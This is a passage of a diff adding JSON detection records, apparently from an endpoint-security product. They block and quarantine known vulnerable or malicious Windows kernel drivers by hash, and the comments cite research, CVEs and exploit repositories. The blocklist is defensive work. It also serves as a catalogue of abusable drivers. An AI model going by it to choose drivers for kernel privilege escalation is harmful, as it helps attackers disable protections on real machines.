+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0b2ac80c-e48a-5648-9b83-4978eff47b70",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822354Z",
+  "creation_date": "2026-03-23T11:45:30.822356Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822362Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0c66ca63774f8aa697fe172233283af90db88902204524294a4df212f9f0b949",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0b34bcaf-45c1-5483-8b40-d62dcdfc863c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492108Z",
+  "creation_date": "2026-03-23T11:45:31.492110Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492116Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1292bcc9b02ffd3bd50e50873728c4dbe7278049e2d88cd33b845cefe50bfa3c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0b378e92-55e2-5e54-b225-e15718223b8e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.830293Z",
+  "creation_date": "2026-03-23T11:45:31.830297Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.830305Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "62ede8393d076d04257526c70849b3fffac66ce9c2ffc038ba3b5f653abd93a2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0b3c41bc-7e47-5676-bfed-d1ed6e285ed4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613171Z",
+  "creation_date": "2026-03-23T11:45:29.613173Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613178Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d12acedc9a2702a18499b77dc8ae9e6b2d1eb557eb08c8a14b2ab3a984edec01",
+  "comment": "ASUS vulnerable UEFI Update Driver (aka AsUpIO64.sys and GVCIDrv64.sys) [https://codeinsecurity.wordpress.com/2016/06/12/asus-uefi-update-driver-physical-memory-readwrite/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0b3c54cb-b19a-52fd-bceb-fe9d8fbf083e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612368Z",
+  "creation_date": "2026-03-23T11:45:29.612370Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612375Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "31d8fc6f5fb837d5eb29db828d13ba8ee11867d86a90b2c2483a578e1d0ec43a",
+  "comment": "ASUS WinFlash vulnerable driver (aka ATSZIO.sys and ATSZIO64.sys) [https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/ATSZIO.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0b3de5da-6942-5a18-91e4-31fd0de4542f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967900Z",
+  "creation_date": "2026-03-23T11:45:29.967902Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967909Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2d88ac88c0fd37bc34bf547479c226abc8bff1e9e82588a42dbad36ff69c980d",
+  "comment": "Retliften malicious signed drivers (aka netfilter.sys) [https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0b442084-73b1-533d-a7e6-49fa95e46d73",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975308Z",
+  "creation_date": "2026-03-23T11:45:29.975310Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975315Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ab1c74ed1ea4fc7a613aa22fd87ee4251ede260862fdebde2d7d2f00c0f23371",
+  "comment": "Vulnerable AMD Ryzen Master Driver (aka AMDRyzenMasterDriver.sys) [CVE-2020-12928, CVE-2023-20564] [https://www.loldrivers.io/drivers/13973a71-412f-4a18-a2a6-476d3853f8de/, https://github.com/tijme/amd-ryzen-master-driver-v17-exploit, https://github.com/zeze-zeze/HITCON-2023-Demo-CVE-2023-20562] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0b496ac3-07f3-5422-9d48-7b2dc469dde7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458279Z",
+  "creation_date": "2026-03-23T11:45:30.458282Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458300Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a855b6ec385b3369c547a3c54e88a013dd028865aba0f3f08be84cdcbaa9a0f6",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0b4c456b-aaec-5bd3-adb1-35e2ea7e8d4d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612753Z",
+  "creation_date": "2026-03-23T11:45:29.612755Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612760Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "18bea05d56bcbc0e23663db9b6dc79d9db3a218e711415a1e420dea2e183cb5e",
+  "comment": "ASUS WinFlash vulnerable driver (aka ATSZIO.sys and ATSZIO64.sys) [https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/ATSZIO.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0b5e4506-210b-50d1-9edc-a3f4e4159ef0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480347Z",
+  "creation_date": "2026-03-23T11:45:30.480351Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480359Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1dcdd1efab9abc25f4227b37f76da295a6dc4cf810875ba34ee1d465eb709b70",
+  "comment": "Vulnerable Kernel Driver (aka GEDevDrvSYS.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0b643760-8350-5250-876b-83b16092a7e3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.482422Z",
+  "creation_date": "2026-03-23T11:45:31.482426Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.482436Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "120150209cbf69e79a5a17336631547b5a19811b2d130672eda29a71d8b51e06",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0b6c8931-eb0c-5dd1-a939-2bfcd9ad18c3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488986Z",
+  "creation_date": "2026-03-23T11:45:31.488988Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488993Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "08fe4d58f3ad3b133f61482a79087478fcc5bd67e77d1989bafbeb2c1443ab6f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0b7093c7-4b51-59e4-97dc-d52a26e50874",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982607Z",
+  "creation_date": "2026-03-23T11:45:29.982609Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982615Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "927c2a580d51a598177fa54c65e9d2610f5f212f1b6cb2fbf2740b64368f010a",
+  "comment": "Vulnerable Kernel Driver (aka driver7-x86-withoutdbg.sys) [https://www.loldrivers.io/drivers/d9f2c3d6-160c-4eb3-8547-894fcf810342/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0b787999-baf3-5e7c-af28-533cea2e959c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620640Z",
+  "creation_date": "2026-03-23T11:45:29.620642Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620648Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "76b86543ce05540048f954fed37bdda66360c4a3ddb8328213d5aef7a960c184",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0b83401b-0090-5038-b99c-5f6581974168",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148608Z",
+  "creation_date": "2026-03-23T11:45:31.148610Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148615Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "30a3428361788d8223b799bc246ac924ebcb368ddd50e58b3331815f14bfd581",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0b8826cd-ec92-506c-b062-f5eaae80ddb8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834696Z",
+  "creation_date": "2026-03-23T11:45:30.834700Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834709Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "16826601eb8274fbc8d43508f34a68cc68298b2990e507adb1914df21b403674",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0b8abb26-a356-59e6-b179-1a80e3357d06",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817644Z",
+  "creation_date": "2026-03-23T11:45:30.817645Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817651Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "163912dfa4ad141e689e1625e994ab7c1f335410ebff0ade86bda3b7cdf6e065",
+  "comment": "Vulnerable Kernel Driver (aka dellbios.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0b953ef0-fcbd-5b42-be37-a976e95f67cc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818030Z",
+  "creation_date": "2026-03-23T11:45:31.818034Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818042Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c7d93ea1f42314ccfd60ecacdd7d006a1b6f0db13431bf0484ab1aef67aa2408",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0ba7ca57-c00e-571b-9ae4-88ff5300564c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491144Z",
+  "creation_date": "2026-03-23T11:45:31.491147Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491156Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e033951baa8fca27e55a540c993ae0d6ae150f6f674649b94f0167452ced7932",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0bbfe8f1-6074-5c56-83ed-8de5b0a44a50",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826692Z",
+  "creation_date": "2026-03-23T11:45:30.826694Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826700Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6c4ac19ff54da8d0670759be48a3c02face5bb9e8b12a7609f0ef1807b8cfa9f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0bcecd76-6f3e-516f-a64a-f85085c9cf67",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836699Z",
+  "creation_date": "2026-03-23T11:45:30.836701Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836707Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6b8b754f5f1c00cc3eaa66baed4767317ab34054a36234c8a0c83f5e7422142e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0bd576e8-30c8-5d8a-93f2-e89522cd2997",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836082Z",
+  "creation_date": "2026-03-23T11:45:30.836084Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836215Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1de4ea34aa10a60b0d6aec02ec57fa77ad2a30a43713d0bed7b5e375f86ddb2f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0bd98ca3-8332-56e1-bae4-5fb35398f0e1",
